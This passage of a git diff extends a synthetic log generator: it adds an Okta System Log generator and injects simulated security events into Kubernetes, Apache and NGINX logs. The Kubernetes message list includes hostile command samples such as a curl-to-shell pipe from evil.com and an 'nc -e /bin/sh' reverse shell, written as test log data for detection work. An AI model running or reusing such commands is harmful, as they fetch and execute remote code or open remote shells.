diff --git a/cmd/blitz/main.go b/cmd/blitz/main.go index bf70e0d..8ae9299 100644 --- a/cmd/blitz/main.go +++ b/cmd/blitz/main.go @@ -24,6 +24,7 @@ import ( "github.com/observiq/blitz/generator/kubernetes" "github.com/observiq/blitz/generator/nginx" gennop "github.com/observiq/blitz/generator/nop" + "github.com/observiq/blitz/generator/okta" "github.com/observiq/blitz/generator/paloalto" "github.com/observiq/blitz/generator/postgres" "github.com/observiq/blitz/generator/winevt" @@ -388,6 +389,16 @@ func run(cmd *cobra.Command, args []string) error { logger.Error("Failed to create File generator", zap.Error(err)) return err } + case config.GeneratorTypeOkta: + generatorInstance, err = okta.New( + logger, + cfg.Generator.Okta.Workers, + cfg.Generator.Okta.Rate, + ) + if err != nil { + logger.Error("Failed to create Okta generator", zap.Error(err)) + return err + } default: logger.Error("Invalid generator type", zap.String("type", string(cfg.Generator.Type))) return fmt.Errorf("invalid generator type: %s", cfg.Generator.Type) diff --git a/docker/README.md b/docker/README.md index ce055ec..30a40c7 100644 --- a/docker/README.md +++ b/docker/README.md @@ -8,7 +8,7 @@ A Docker Compose setup that runs all Blitz log generators simultaneously and sen ┌─────────────────┐ │ blitz-json │──┐ ├─────────────────┤ │ -│ blitz-pii │──┤ (10x workers - 37 PII types) +│ blitz-pii │──┤ (37 PII types) ├─────────────────┤ │ │ blitz-winevt │──┤ ├─────────────────┤ │ @@ -20,7 +20,9 @@ A Docker Compose setup that runs all Blitz log generators simultaneously and sen ├─────────────────┤ │ │ blitz-postgres │──┤ ├─────────────────┤ │ -│ blitz-kubernetes│──┘ +│ blitz-kubernetes│──┤ +├─────────────────┤ │ +│ blitz-okta │──┘ └─────────────────┘ ``` @@ -54,7 +56,7 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up |----------|---------|-------------| | `BLITZ_RATE` | `1s` | Log generation rate per generator | | `BLITZ_WORKERS` | `1` | Number of workers per generator | -| `BLITZ_PII_WORKERS` | `10` | Number of workers for PII generator (10x default for comprehensive testing) | +| `BLITZ_PII_WORKERS` | `1` | Number of workers for PII generator | ### Examples @@ -86,15 +88,16 @@ docker compose -f docker/docker-compose.telemetry-generator.yml up -d | Generator | Log Type | Description | |-----------|----------|-------------| | `blitz-json` | JSON | Structured JSON logs | -| `blitz-pii` | PII | JSON logs with 37 PII types (SSN, credit card, email, passport, API keys, JWT, etc.) - runs at 10x rate | +| `blitz-pii` | PII | JSON logs with 37 PII types (SSN, credit card, email, passport, API keys, JWT, etc.) | | `blitz-winevt` | Windows Event | Windows Event logs in XML format | | `blitz-palo-alto` | Palo Alto | Firewall syslog entries | -| `blitz-apache-common` | Apache Common | Apache Common Log Format (CLF) | +| `blitz-apache-common` | Apache Common | Apache Common Log Format (CLF) with security attack patterns | | `blitz-apache-combined` | Apache Combined | Apache Combined Log Format with referer/user-agent | | `blitz-apache-error` | Apache Error | Apache error log format | -| `blitz-nginx` | NGINX | NGINX Combined Log Format | -| `blitz-postgres` | PostgreSQL | PostgreSQL database logs | -| `blitz-kubernetes` | Kubernetes | Container logs in CRI-O format | +| `blitz-nginx` | NGINX | NGINX Combined Log Format with security attack patterns | +| `blitz-postgres` | PostgreSQL | PostgreSQL database logs with security events | +| `blitz-kubernetes` | Kubernetes | Container logs in CRI-O format with security events | +| `blitz-okta` | Okta | Okta System Log events (authentication, security, lifecycle) | ## Running Individual Generators @@ -117,7 +120,21 @@ docker compose -f docker/docker-compose.telemetry-generator.yml down | File | Description | |------|-------------| | `docker-compose.telemetry-generator.yml` | Docker Compose configuration | -| `collector-config.yaml` | Bindplane Agent OTLP receiver configuration | + +## Building Local Image + +To build and use a local image instead of `ghcr.io/observiq/blitz:latest`: + +```bash +# Build the binary +CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o package/blitz ./cmd/blitz + +# Build the Docker image +docker build -t blitz:local -f package/Dockerfile package/ + +# Update compose file to use local image +sed -i 's|ghcr.io/observiq/blitz:latest|blitz:local|g' docker/docker-compose.telemetry-generator.yml +``` ## Kubernetes Deployment diff --git a/docker/collector-config.yaml b/docker/collector-config.yaml deleted file mode 100644 index f071d70..0000000 --- a/docker/collector-config.yaml +++ /dev/null @@ -1,38 +0,0 @@ -# BDOT Collector Configuration for Telemetry Generator -# -# This is a minimal configuration that enables the OTLP receiver. -# The actual export configuration will be managed by Bindplane via OpAMP. -# -# When connected to Bindplane via OpAMP, the configuration will be replaced -# with the configuration pushed from Bindplane. - -receivers: - otlp: - protocols: - grpc: - endpoint: 0.0.0.0:4317 - http: - endpoint: 0.0.0.0:4318 - -processors: - batch: - timeout: 5s - send_batch_size: 1000 - -exporters: - # Debug exporter for initial testing - Bindplane will configure actual exporters via OpAMP - debug: - verbosity: basic - sampling_initial: 5 - sampling_thereafter: 200 - -service: - pipelines: - logs: - receivers: [otlp] - processors: [batch] - exporters: [debug] - - telemetry: - metrics: - level: none diff --git a/docker/docker-compose.telemetry-generator.yml b/docker/docker-compose.telemetry-generator.yml index c517d84..329a741 100644 --- a/docker/docker-compose.telemetry-generator.yml +++ b/docker/docker-compose.telemetry-generator.yml @@ -15,6 +15,7 @@ # Optional environment variables: # - BLITZ_RATE: Log generation rate (default: 1s) # - BLITZ_WORKERS: Workers per generator (default: 1) +# - BLITZ_PII_WORKERS: PII workers (default: 1) x-blitz-common: &blitz-common image: ghcr.io/observiq/blitz:latest @@ -43,6 +44,8 @@ services: ports: - "4317:4317" # OTLP gRPC - "4318:4318" # OTLP HTTP + volumes: + - collector-data:/etc/otel networks: - telemetry-net @@ -58,13 +61,12 @@ services: BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" # PII Log Generator (JSON with comprehensive PII data - 37 sensitive data types) - # Runs at 10x rate compared to other generators for thorough PII testing blitz-pii: <<: *blitz-common environment: BLITZ_GENERATOR_TYPE: json BLITZ_GENERATOR_JSON_TYPE: pii - BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-10} + BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-1} BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} BLITZ_OUTPUT_TYPE: otlp-grpc BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector @@ -158,7 +160,20 @@ services: BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + # Okta System Log Generator + blitz-okta: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: okta + BLITZ_GENERATOR_OKTA_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_OKTA_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: otlp-grpc + BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector + BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" + networks: telemetry-net: driver: bridge +volumes: + collector-data: diff --git a/docs/generator/okta.md b/docs/generator/okta.md new file mode 100644 index 0000000..ca976b4 --- /dev/null +++ b/docs/generator/okta.md @@ -0,0 +1,54 @@ +# Okta System Log Generator + +The Okta generator creates synthetic Okta System Log events in JSON format. It produces realistic authentication, security, user lifecycle, and administrative events that match the Okta System Log API schema. + +## Description + +The Okta System Log format is a JSON structure that includes event type, actor, client context, outcome, target, and security context fields. The generator produces events across multiple categories: authentication (login, SSO, MFA), security threats (brute force, credential stuffing, impossible travel), user lifecycle (create, activate, suspend, delete), password operations, application and group membership changes, policy management, and administrative actions. + +## Example Logs + +```json +{"uuid":"a1b2c3d4-e5f6-7890-abcd-ef1234567890","published":"2025-11-10T21:11:47.123Z","eventType":"user.session.start","version":"0","severity":"INFO","displayMessage":"User login to Okta","actor":{"id":"00u1234567890","type":"User","alternateId":"john.smith@example.com","displayName":"John Smith"},"client":{"userAgent":{"rawUserAgent":"Mozilla/5.0...","os":"Unknown","browser":"UNKNOWN"},"zone":"null","device":"Unknown","ipAddress":"192.168.1.100","geographicalContext":{"city":"San Francisco","state":"California","country":"United States","postalCode":"94102","geolocation":{"lat":37.7749,"lon":-122.4194}}},"outcome":{"result":"SUCCESS"},"target":[{"id":"0oa1234567890","type":"AppInstance","alternateId":"slack","displayName":"Slack"}],"transaction":{"type":"WEB","id":"AbCdEfGhIjKlMnOpQrSt","detail":{}},"authenticationContext":{"authenticationProvider":"OKTA_AUTHENTICATION_PROVIDER","credentialProvider":"OKTA_CREDENTIAL_PROVIDER","credentialType":"PASSWORD"},"securityContext":{"asNumber":12345,"asOrg":"example-isp","isp":"Example ISP","domain":"example.com","isProxy":false}} +``` + +## Configuration + +| YAML Path | Flag Name | Environment Variable | Default | Description | +|-----------|-----------|---------------------|---------|-------------| +| `generator.type` | `--generator-type` | `BLITZ_GENERATOR_TYPE` | `nop` | Generator type. Set to `okta` to use this generator. | +| `generator.okta.workers` | `--generator-okta-workers` | `BLITZ_GENERATOR_OKTA_WORKERS` | `1` | Number of Okta generator workers (must be >= 1) | +| `generator.okta.rate` | `--generator-okta-rate` | `BLITZ_GENERATOR_OKTA_RATE` | `1s` | Rate at which logs are generated per worker (duration format) | + +## Example Configuration + +```yaml +generator: + type: okta + okta: + workers: 5 + rate: 100ms +``` + +## Event Categories + +| Category | Event Types | Severity | +|----------|------------|----------| +| Authentication | `user.session.start`, `user.session.end`, `user.authentication.sso`, `user.authentication.auth_via_mfa` | INFO/WARN | +| Security | `security.threat.detected`, `security.request.blocked`, `user.session.impersonation.start` | WARN/ERROR | +| User Lifecycle | `user.lifecycle.create`, `user.lifecycle.activate`, `user.lifecycle.deactivate`, `user.lifecycle.suspend` | INFO/WARN | +| Password | `user.account.update_password`, `user.account.reset_password`, `user.credential.forgot_password` | INFO | +| Application | `app.user_membership.add`, `app.user_membership.remove`, `application.lifecycle.create` | INFO | +| Group | `group.user_membership.add`, `group.user_membership.remove`, `group.lifecycle.create` | INFO | +| Policy | `policy.lifecycle.create`, `policy.lifecycle.update`, `policy.rule.create` | INFO | +| Admin | `user.account.privilege.grant`, `system.api_token.create`, `system.api_token.revoke` | INFO/WARN | + +## Metrics + +The Okta generator exposes the following metrics: + +- **`blitz.generator.logs.generated`** (Counter): Total number of logs generated +- **`blitz.generator.workers.active`** (Gauge): Number of active worker goroutines +- **`blitz.generator.write.errors`** (Counter): Total number of write errors, labeled by `error_type` (`unknown` or `timeout`) + +All metrics include a `component` label set to `generator_okta`. diff --git a/generator/apache/apache.go b/generator/apache/apache.go index a950b9f..d7e2f2f 100644 --- a/generator/apache/apache.go +++ b/generator/apache/apache.go @@ -10,6 +10,7 @@ import ( "time" "github.com/cenkalti/backoff/v4" + "github.com/observiq/blitz/internal/generator/security" "github.com/observiq/blitz/output" "go.opentelemetry.io/otel" "go.opentelemetry.io/otel/attribute" @@ -266,7 +267,8 @@ func generateRequest(r *rand.Rand) string { methods := []string{"GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS"} method := methods[r.Intn(len(methods))] // #nosec G404 - paths := []string{ + // Normal paths + normalPaths := []string{ "/api/v1/users", "/api/v1/orders", "/health", @@ -285,7 +287,13 @@ func generateRequest(r *rand.Rand) string { "/api/v1/verification", } - path := paths[r.Intn(len(paths))] // #nosec G404 + // 20% chance of generating a security-focused path + var path string + if r.Float64() < 0.20 { // #nosec G404 + path = security.RandomAttackPath(r) + } else { + path = normalPaths[r.Intn(len(normalPaths))] // #nosec G404 + } protocols := []string{"HTTP/1.0", "HTTP/1.1", "HTTP/2.0"} protocol := protocols[r.Intn(len(protocols))] // #nosec G404 diff --git a/generator/json/json.go b/generator/json/json.go index 50dfff9..7748516 100644 --- a/generator/json/json.go +++ b/generator/json/json.go @@ -3,6 +3,7 @@ package json import ( "context" "fmt" + "math/rand" "sync" "time" @@ -262,85 +263,9 @@ func formatAsJSON(data logtypes.LogData) (output.LogRecord, error) { timestamp = d.TimestampVal severity = d.LevelVal case *logtypes.PIILogData: - jsonData = map[string]any{ - "timestamp": d.TimestampVal, - "level": d.LevelVal, - "message": d.MessageVal, - - // Core PII - "user_id": d.UserIDVal, - "ssn": d.SSNVal, - "iban": d.IBANVal, - "phone": d.PhoneVal, - "intl_phone": d.IntlPhoneVal, - "email": d.EmailVal, - "credit_card": d.CreditCardVal, - "dob": d.DOBVal, - "ipv4": d.IPv4Val, - "ipv6": d.IPv6Val, - "mac_address": d.MACAddressVal, - "street_addr": d.StreetAddrVal, - "city_state": d.CityStateVal, - "zip_code": d.ZipCodeVal, - - // Government IDs - "passport": d.PassportVal, - "drivers_license": d.DriversLicenseVal, - "national_id": d.NationalIDVal, - - // Financial - "bank_account": d.BankAccountVal, - "routing_number": d.RoutingNumberVal, - "crypto_wallet": d.CryptoWalletVal, - - // Healthcare - "medical_record": d.MedicalRecordVal, - "health_insurance": d.HealthInsuranceVal, - - // Vehicle - "vin": d.VINVal, - "license_plate": d.LicensePlateVal, - - // Employment/Education - "employee_id": d.EmployeeIDVal, - "student_id": d.StudentIDVal, - - // Authentication/Secrets - "username": d.UsernameVal, - "password_hash": d.PasswordHashVal, - "api_key": d.APIKeyVal, - "aws_access_key": d.AWSAccessKeyVal, - "private_key": d.PrivateKeyVal, - "jwt_token": d.JWTTokenVal, - - // Location - "gps_coords": d.GPSCoordsVal, - "geohash": d.GeohashVal, - - // Personal - "full_name": d.FullNameVal, - "mothers_maiden": d.MothersMaidenVal, - "security_answer": d.SecurityAnswerVal, - } + jsonData = formatPIILogData(d) timestamp = d.TimestampVal severity = d.LevelVal - - // Add optional fields if they are not empty - if d.EventVal != "" { - jsonData.(map[string]any)["event"] = d.EventVal - } - if d.DetailVal != "" { - jsonData.(map[string]any)["detail"] = d.DetailVal - } - if d.TypeVal != "" { - jsonData.(map[string]any)["type"] = d.TypeVal - } - if d.ActionVal != "" { - jsonData.(map[string]any)["action"] = d.ActionVal - } - if d.StatusVal != "" { - jsonData.(map[string]any)["status"] = d.StatusVal - } default: return output.LogRecord{}, fmt.Errorf("unsupported log data type: %T", data) } @@ -379,3 +304,110 @@ func (g *JSONLogGenerator) recordWriteError(errorType string, err error) { ), ) } + +// formatPIILogData formats PII log data with a random selection of 1-5 PII fields +func formatPIILogData(d *logtypes.PIILogData) map[string]any { + r := rand.New(rand.NewSource(time.Now().UnixNano())) // #nosec G404 + return formatPIILogDataWithRand(r, d) +} + +// formatPIILogDataWithRand formats PII log data using the provided rand source +func formatPIILogDataWithRand(r *rand.Rand, d *logtypes.PIILogData) map[string]any { + // All available PII fields + piiFields := []struct { + key string + value any + }{ + // Core PII + {"user_id", d.UserIDVal}, + {"ssn", d.SSNVal}, + {"iban", d.IBANVal}, + {"phone", d.PhoneVal}, + {"intl_phone", d.IntlPhoneVal}, + {"email", d.EmailVal}, + {"credit_card", d.CreditCardVal}, + {"dob", d.DOBVal}, + {"ipv4", d.IPv4Val}, + {"ipv6", d.IPv6Val}, + {"mac_address", d.MACAddressVal}, + {"street_addr", d.StreetAddrVal}, + {"city_state", d.CityStateVal}, + {"zip_code", d.ZipCodeVal}, + + // Government IDs + {"passport", d.PassportVal}, + {"drivers_license", d.DriversLicenseVal}, + {"national_id", d.NationalIDVal}, + + // Financial + {"bank_account", d.BankAccountVal}, + {"routing_number", d.RoutingNumberVal}, + {"crypto_wallet", d.CryptoWalletVal}, + + // Healthcare + {"medical_record", d.MedicalRecordVal}, + {"health_insurance", d.HealthInsuranceVal}, + + // Vehicle + {"vin", d.VINVal}, + {"license_plate", d.LicensePlateVal}, + + // Employment/Education + {"employee_id", d.EmployeeIDVal}, + {"student_id", d.StudentIDVal}, + + // Authentication/Secrets + {"username", d.UsernameVal}, + {"password_hash", d.PasswordHashVal}, + {"api_key", d.APIKeyVal}, + {"aws_access_key", d.AWSAccessKeyVal}, + {"private_key", d.PrivateKeyVal}, + {"jwt_token", d.JWTTokenVal}, + + // Location + {"gps_coords", d.GPSCoordsVal}, + {"geohash", d.GeohashVal}, + + // Personal + {"full_name", d.FullNameVal}, + {"mothers_maiden", d.MothersMaidenVal}, + {"security_answer", d.SecurityAnswerVal}, + } + + // Start with base fields + jsonData := map[string]any{ + "timestamp": d.TimestampVal, + "level": d.LevelVal, + "message": d.MessageVal, + } + + // Add optional context fields if present + if d.EventVal != "" { + jsonData["event"] = d.EventVal + } + if d.DetailVal != "" { + jsonData["detail"] = d.DetailVal + } + if d.TypeVal != "" { + jsonData["type"] = d.TypeVal + } + if d.ActionVal != "" { + jsonData["action"] = d.ActionVal + } + if d.StatusVal != "" { + jsonData["status"] = d.StatusVal + } + + // Shuffle the PII fields + r.Shuffle(len(piiFields), func(i, j int) { + piiFields[i], piiFields[j] = piiFields[j], piiFields[i] + }) + + // Select 1-5 random PII fields + numFields := r.Intn(5) + 1 // #nosec G404 + for i := 0; i < numFields && i < len(piiFields); i++ { + jsonData[piiFields[i].key] = piiFields[i].value + } + + return jsonData +} diff --git a/generator/kubernetes/kubernetes.go b/generator/kubernetes/kubernetes.go index 18f6a33..db3d37f 100644 --- a/generator/kubernetes/kubernetes.go +++ b/generator/kubernetes/kubernetes.go @@ -322,21 +322,84 @@ func (g *Generator) generateDatabaseLog(r *rand.Rand) string { // generateStructuredLog generates a structured key-value log func (g *Generator) generateStructuredLog(r *rand.Rand) string { requestID := generateRandomID(r, 16) - level := []string{"info", "warn", "error", "debug"}[r.Intn(4)] // #nosec G404 - messages := []string{ - "User authentication failed", - "Cache miss for key", - "Rate limit exceeded", - "Database connection established", - "Session expired", - "File uploaded successfully", - "Background job completed", - "Health check passed", + + // Messages with appropriate severity levels + securityMessages := []struct { + level string + message string + }{ + // Normal operations + {"info", "User authentication successful"}, + {"info", "Cache miss for key"}, + {"info", "Database connection established"}, + {"info", "Session created"}, + {"info", "File uploaded successfully"}, + {"info", "Background job completed"}, + {"info", "Health check passed"}, + {"debug", "Request processed successfully"}, + + // Security: Authentication and authorization failures + {"warn", "User authentication failed - invalid credentials"}, + {"warn", "User authentication failed - account locked after 5 attempts"}, + {"error", "RBAC: access denied for user system:anonymous to resource pods"}, + {"error", "RBAC: user app-service-account cannot create secrets in namespace production"}, + {"warn", "ServiceAccount token expired, re-authentication required"}, + {"error", "Invalid bearer token presented for API authentication"}, + {"warn", "Rate limit exceeded for user admin-user"}, + {"error", "Forbidden: user cannot impersonate serviceaccount default/admin"}, + + // Security: Container and pod security violations + {"error", "Pod security policy violation: privileged containers not allowed"}, + {"error", "Pod security policy violation: hostNetwork is not allowed"}, + {"error", "Pod security policy violation: hostPID is not allowed"}, + {"warn", "Container attempting to run as root user, policy violation"}, + {"error", "SecurityContext: runAsNonRoot specified but image runs as root"}, + {"error", "Pod rejected: hostPath volume mount to /etc not permitted"}, + {"error", "Pod rejected: capabilities add SYS_ADMIN not allowed"}, + {"warn", "Container image pull from untrusted registry blocked: docker.io/malicious/image"}, + + // Security: Secrets and sensitive data access + {"warn", "Secret access: user dev-user accessed secret db-credentials in namespace production"}, + {"error", "Unauthorized attempt to read secret kubernetes-admin-token"}, + {"warn", "ConfigMap modified: aws-credentials in namespace kube-system"}, + {"error", "Attempt to mount secret as environment variable blocked by policy"}, + {"warn", "Service account token mounted in pod without explicit request"}, + + // Security: Network policy violations + {"error", "NetworkPolicy violation: egress to external IP 185.220.101.45 blocked"}, + {"warn", "Unexpected outbound connection attempt to port 4444 (common reverse shell)"}, + {"error", "Pod attempted connection to known malicious IP: 45.33.32.156"}, + {"warn", "DNS query for suspicious domain: crypto-miner-pool.evil.com"}, + {"error", "Ingress blocked: source IP 10.0.0.50 not in allowed CIDR range"}, + + // Security: Resource and privilege escalation + {"error", "Container escape attempt detected: /proc/1/root access denied"}, + {"warn", "Suspicious process execution in container: /bin/bash -c 'curl evil.com | sh'"}, + {"error", "Kernel module loading attempt blocked in container"}, + {"warn", "Container attempting to modify /etc/passwd"}, + {"error", "Privilege escalation attempt: setuid binary execution blocked"}, + {"warn", "Container process spawned unexpected child: /usr/bin/nc -e /bin/sh"}, + + // Security: Audit and compliance + {"warn", "Audit: cluster-admin role bound to user external-contractor"}, + {"error", "Compliance violation: pod running without resource limits"}, + {"warn", "Audit: secrets list operation by user jenkins-deployer"}, + {"error", "Admission webhook rejected pod: missing required security labels"}, + {"warn", "Node shell access detected via kubectl exec"}, + + // Security: Anomalies and threats + {"error", "CrashLoopBackOff detected for pod crypto-miner-abc123"}, + {"warn", "Unusual CPU spike in pod: possible cryptomining activity"}, + {"error", "OOMKilled: container exceeded memory limit, possible memory bomb"}, + {"warn", "Pod restarted 15 times in last hour: investigating stability"}, + {"error", "Image vulnerability scan failed: critical CVE-2024-1234 detected"}, + {"warn", "Container image signature verification failed"}, } - message := messages[r.Intn(len(messages))] // #nosec G404 + + entry := securityMessages[r.Intn(len(securityMessages))] // #nosec G404 return fmt.Sprintf("%s request_id=%s [%s] %s", - time.Now().Format("15:04:05.000"), requestID, level, message) + time.Now().Format("15:04:05.000"), requestID, entry.level, entry.message) } // generateRandomID generates a random alphanumeric ID diff --git a/generator/nginx/nginx.go b/generator/nginx/nginx.go index 9b685f6..97f786c 100644 --- a/generator/nginx/nginx.go +++ b/generator/nginx/nginx.go @@ -9,6 +9,7 @@ import ( "time" "github.com/cenkalti/backoff/v4" + "github.com/observiq/blitz/internal/generator/security" "github.com/observiq/blitz/internal/useragent" "github.com/observiq/blitz/output" "go.opentelemetry.io/otel" @@ -332,8 +333,16 @@ func generateRandomIP(r *rand.Rand) string { // generateRequest generates a random HTTP request string func generateRequest(r *rand.Rand) string { - method := httpMethods[r.Intn(len(httpMethods))] // #nosec G404 - path := httpPaths[r.Intn(len(httpPaths))] // #nosec G404 + method := httpMethods[r.Intn(len(httpMethods))] // #nosec G404 + + // 20% chance of generating a security-focused path + var path string + if r.Float64() < 0.20 { // #nosec G404 + path = security.RandomAttackPath(r) + } else { + path = httpPaths[r.Intn(len(httpPaths))] // #nosec G404 + } + protocol := httpProtocols[r.Intn(len(httpProtocols))] // #nosec G404 return fmt.Sprintf("%s %s %s", method, path, protocol) diff --git a/generator/okta/okta.go b/generator/okta/okta.go new file mode 100644 index 0000000..d0e879a --- /dev/null +++ b/generator/okta/okta.go @@ -0,0 +1,509 @@ +package okta + +import ( + "context" + "fmt" + "math/rand" + "sync" + "time" + + "github.com/cenkalti/backoff/v4" + jsonlib "github.com/goccy/go-json" + "github.com/observiq/blitz/output" + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/attribute" + "go.opentelemetry.io/otel/metric" + "go.uber.org/zap" +) + +const ( + componentName = "generator_okta" + meterName = "blitz-generator" + + metricLogsGenerated = "blitz.generator.logs.generated" + metricWorkersActive = "blitz.generator.workers.active" + metricWriteErrors = "blitz.generator.write.errors" + + errorTypeUnknown = "unknown" + errorTypeTimeout = "timeout" +) + +// Generator generates Okta System Log format log data +type Generator struct { + logger *zap.Logger + workers int + rate time.Duration + wg sync.WaitGroup + stopCh chan struct{} + meter metric.Meter + + oktaLogsGenerated metric.Int64Counter + oktaActiveWorkers metric.Int64Gauge + oktaWriteErrors metric.Int64Counter +} + +// Predefined data for realistic Okta log generation +var ( + eventTypes = []struct { + eventType string + displayMsg string + severity string + outcome string + category string + }{ + // Authentication events + {"user.session.start", "User login to Okta", "INFO", "SUCCESS", "authentication"}, + {"user.session.end", "User logout from Okta", "INFO", "SUCCESS", "authentication"}, + {"user.authentication.sso", "User single sign on to app", "INFO", "SUCCESS", "authentication"}, + {"user.authentication.auth_via_mfa", "Authentication via MFA", "INFO", "SUCCESS", "authentication"}, + {"user.authentication.verify", "User attempted authentication", "INFO", "SUCCESS", "authentication"}, + + // Authentication failures + {"user.session.start", "User login to Okta", "WARN", "FAILURE", "authentication"}, + {"user.authentication.auth_via_mfa", "MFA verification failed", "WARN", "FAILURE", "authentication"}, + {"user.authentication.verify", "Authentication failed - invalid credentials", "WARN", "FAILURE", "authentication"}, + {"user.account.lock", "Account locked due to multiple failed attempts", "WARN", "SUCCESS", "authentication"}, + + // Security events + {"security.threat.detected", "Suspicious activity detected", "WARN", "SUCCESS", "security"}, + {"security.request.blocked", "Request blocked by security policy", "WARN", "SUCCESS", "security"}, + {"user.session.impersonation.start", "Admin impersonation session started", "WARN", "SUCCESS", "security"}, + {"user.session.impersonation.end", "Admin impersonation session ended", "INFO", "SUCCESS", "security"}, + + // User lifecycle events + {"user.lifecycle.create", "User created in Okta", "INFO", "SUCCESS", "user_management"}, + {"user.lifecycle.activate", "User activated", "INFO", "SUCCESS", "user_management"}, + {"user.lifecycle.deactivate", "User deactivated", "INFO", "SUCCESS", "user_management"}, + {"user.lifecycle.suspend", "User suspended", "WARN", "SUCCESS", "user_management"}, + {"user.lifecycle.unsuspend", "User unsuspended", "INFO", "SUCCESS", "user_management"}, + {"user.lifecycle.delete", "User deleted from Okta", "INFO", "SUCCESS", "user_management"}, + + // Password events + {"user.account.update_password", "User changed password", "INFO", "SUCCESS", "password"}, + {"user.account.reset_password", "Password reset requested", "INFO", "SUCCESS", "password"}, + {"user.credential.forgot_password", "Forgot password flow initiated", "INFO", "SUCCESS", "password"}, + + // Application events + {"app.user_membership.add", "User added to application", "INFO", "SUCCESS", "application"}, + {"app.user_membership.remove", "User removed from application", "INFO", "SUCCESS", "application"}, + {"application.lifecycle.create", "Application created", "INFO", "SUCCESS", "application"}, + {"application.lifecycle.update", "Application updated", "INFO", "SUCCESS", "application"}, + {"application.lifecycle.delete", "Application deleted", "INFO", "SUCCESS", "application"}, + + // Group events + {"group.user_membership.add", "User added to group", "INFO", "SUCCESS", "group"}, + {"group.user_membership.remove", "User removed from group", "INFO", "SUCCESS", "group"}, + {"group.lifecycle.create", "Group created", "INFO", "SUCCESS", "group"}, + {"group.lifecycle.delete", "Group deleted", "INFO", "SUCCESS", "group"}, + + // Policy events + {"policy.lifecycle.create", "Policy created", "INFO", "SUCCESS", "policy"}, + {"policy.lifecycle.update", "Policy updated", "INFO", "SUCCESS", "policy"}, + {"policy.lifecycle.delete", "Policy deleted", "INFO", "SUCCESS", "policy"}, + {"policy.rule.create", "Policy rule created", "INFO", "SUCCESS", "policy"}, + {"policy.rule.update", "Policy rule updated", "INFO", "SUCCESS", "policy"}, + + // Admin events + {"user.account.privilege.grant", "Admin privilege granted", "WARN", "SUCCESS", "admin"}, + {"user.account.privilege.revoke", "Admin privilege revoked", "INFO", "SUCCESS", "admin"}, + {"system.api_token.create", "API token created", "WARN", "SUCCESS", "admin"}, + {"system.api_token.revoke", "API token revoked", "INFO", "SUCCESS", "admin"}, + + // Suspicious/Attack patterns + {"user.session.start", "Login from suspicious location", "WARN", "FAILURE", "security"}, + {"user.session.start", "Login from new device", "INFO", "SUCCESS", "security"}, + {"security.threat.detected", "Brute force attack detected", "ERROR", "SUCCESS", "security"}, + {"security.threat.detected", "Credential stuffing attack detected", "ERROR", "SUCCESS", "security"}, + {"security.threat.detected", "Impossible travel detected", "WARN", "SUCCESS", "security"}, + {"user.mfa.factor.deactivate", "MFA factor removed", "WARN", "SUCCESS", "security"}, + {"user.account.unlock", "Account unlocked by admin", "INFO", "SUCCESS", "security"}, + } + + actors = []struct { + displayName string + login string + userType string + }{ + {"John Smith", "john.smith@example.com", "User"}, + {"Jane Doe", "jane.doe@example.com", "User"}, + {"Bob Wilson", "bob.wilson@example.com", "User"}, + {"Alice Johnson", "alice.johnson@example.com", "User"}, + {"System Admin", "admin@example.com", "Admin"}, + {"Security Admin", "security@example.com", "Admin"}, + {"Help Desk", "helpdesk@example.com", "Admin"}, + {"Service Account", "svc-account@example.com", "ServiceAccount"}, + {"API Client", "api-client@example.com", "ServiceAccount"}, + {"Unknown Actor", "unknown@suspicious.com", "User"}, + } + + applications = []struct { + name string + label string + }{ + {"salesforce", "Salesforce"}, + {"office365", "Microsoft Office 365"}, + {"slack", "Slack"}, + {"aws_console", "AWS Management Console"}, + {"github", "GitHub Enterprise"}, + {"jira", "Atlassian Jira"}, + {"workday", "Workday"}, + {"servicenow", "ServiceNow"}, + {"zoom", "Zoom"}, + {"google_workspace", "Google Workspace"}, + } + + userAgents = []string{ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148", + "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36", + "okta-sdk-java/2.0.0 java/17.0.1 Mac_OS_X/14.0", + "Okta-Workflows/1.0", + } + + cities = []struct { + city string + state string + country string + latitude float64 + longitude float64 + }{ + {"San Francisco", "California", "United States", 37.7749, -122.4194}, + {"New York", "New York", "United States", 40.7128, -74.0060}, + {"London", "", "United Kingdom", 51.5074, -0.1278}, + {"Tokyo", "", "Japan", 35.6762, 139.6503}, + {"Sydney", "New South Wales", "Australia", -33.8688, 151.2093}, + {"Berlin", "", "Germany", 52.5200, 13.4050}, + {"Moscow", "", "Russia", 55.7558, 37.6173}, + {"Beijing", "", "China", 39.9042, 116.4074}, + } + + reasons = []string{ + "INVALID_CREDENTIALS", + "LOCKED_OUT", + "MFA_REQUIRED", + "PASSWORD_EXPIRED", + "VERIFICATION_FAILED", + "NETWORK_ZONE_BLACKLISTED", + "DEVICE_NOT_REGISTERED", + "SUSPICIOUS_ACTIVITY", + } +) + +// New creates a new Okta log generator +func New(logger *zap.Logger, workers int, rate time.Duration) (*Generator, error) { + if logger == nil { + return nil, fmt.Errorf("logger cannot be nil") + } + + if workers < 1 { + return nil, fmt.Errorf("workers must be 1 or greater, got %d", workers) + } + + meter := otel.Meter(meterName) + + oktaLogsGenerated, err := meter.Int64Counter( + 